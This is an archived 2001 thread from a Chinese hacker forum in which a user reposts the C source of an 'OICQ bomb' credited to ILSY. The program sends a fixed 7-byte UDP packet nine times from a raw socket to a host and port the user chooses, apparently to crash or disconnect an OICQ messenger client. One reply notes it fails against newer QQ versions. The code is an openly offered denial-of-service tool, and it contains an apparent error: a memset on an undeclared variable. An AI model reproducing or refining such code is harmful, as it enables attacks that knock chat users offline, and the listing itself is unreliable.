这是在 20CN网络安全小组第一代论坛 的论坛 黑客基地 中的主题 ILSY公开的OICQ炸弹源码(转)


要查看这个主题,请使用这个 URL:
http://www.20cn.net/cgi-bin/ubb/ultimatebb.cgi?ubb=get_topic;f=2;t=000721

ucr (编号: 2804) 发表于 :
 
(转自绿色兵团)

发布者 ILSY公开的OICQ炸弹源码
病毒

等级: 高级成员
参加: Jul 09,2001
张贴: 22
来自:
张贴: 2001-09-20 01:16

近几天忙单位的活,没怎么注意其他。今一上OICQ
就狂掉,原来是ILSY炸俺。紧接着搜索了一下,发现
最近发布了几个OICQ炸弹,但没见有源代码(可能有,不过俺是没看见)。那就让俺帮ILSY发布一下。^0^。

程序非常简单,一目了然,俺也就不用多说了。

// write by ILSY

#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32.lib")

#define STATUS_FAILED 0xFFFF

typedef struct _hdr {
unsigned char data1;
unsigned char data2;
unsigned char data3;
unsigned char data4;
unsigned char data5;
unsigned char data6;
unsigned char data7;
}UDP;

#define xmalloc(s) (LPTSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,(s))
#define xfree(p) (LPTSTR)HeapFree (GetProcessHeap(),0,(p))

int main(int argc, char* argv[])
{
WSADATA wsaData;
SOCKET sockRaw;
struct sockaddr_in dest;
int bread;
int datasize;
int timeout = 1000;
char * data;

int i;

if(argc <2 )
{
printf("\n");
printf("UDP Packet send program . write by ilsy\n");
printf("Usage: %s Host Port\n",argv[0]);
ExitProcess(STATUS_FAILED);
}


if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0){
fprintf(stderr,"Windows Socket Startup failed: %d\n",GetLastError());
ExitProcess(STATUS_FAILED);
}

sockRaw = socket (AF_INET,SOCK_RAW,IPPROTO_UDP);
if (sockRaw == SOCKET_ERROR) {
fprintf(stderr,"Windows Socket creat failed: %d\n",WSAGetLastError());
ExitProcess(STATUS_FAILED);
}

bread = setsockopt(sockRaw,SOL_SOCKET,SO_RCVTIMEO,(char*)&timeout,sizeof(timeout));
if(bread == SOCKET_ERROR) {
fprintf(stderr,"failed to set recv timeout: %d\n",WSAGetLastError());
ExitProcess(STATUS_FAILED);
}

timeout = 1000;
bread = setsockopt(sockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&timeout,sizeof(timeout));
if(bread == SOCKET_ERROR) {
fprintf(stderr,"failed to set send timeout: %d\n",WSAGetLastError());
ExitProcess(STATUS_FAILED);
}

memset(&dest,0,sizeof(dest));
dest.sin_addr.s_addr= inet_addr(argv[1]);
dest.sin_family = AF_INET;
dest.sin_port=htons(atoi(argv[2]));
connect(sockRaw,(const sockaddr *)&dest,sizeof(dest));
datasize = 7;
data = xmalloc(datasize);
if (!data) {
fprintf(stderr,"HeapAlloc failed %d\n",GetLastError());
ExitProcess(STATUS_FAILED);
}

memset(icmp_data,0,datasize);
for(i=0;i<9;i++) {
((UDP*)data)->data1 = 0x02;
((UDP*)data)->data2 = 0xfe;
((UDP*)data)->data3 = 0x03;
((UDP*)data)->data4 = 0x0;
((UDP*)data)->data5 = 0x1;
((UDP*)data)->data6 = 0x1f;
((UDP*)data)->data7 = 0x03;
bread = send(sockRaw,data,datasize,0);
if (bread == SOCKET_ERROR){
if (WSAGetLastError() == WSAETIMEDOUT) {
printf("timed out\n");
continue;
}
fprintf(stderr,"sendto failed: %d\n",WSAGetLastError());
ExitProcess(STATUS_FAILED);
}
if (bread < datasize ) {
fprintf(stdout,"Wrote %d bytes\n",bread);
}
Sleep(1000);
}
closesocket(sockRaw);
return 0;
}
 


yyt_hac (编号: 619) 发表于 :
 
这个炸弹对最新版的qq没有用
 




Powered by Infopop Corporation
UBB.classic™ 6.5.0
NetDemon修改版 1.5.0, 20CN网络安全小组 版权所有。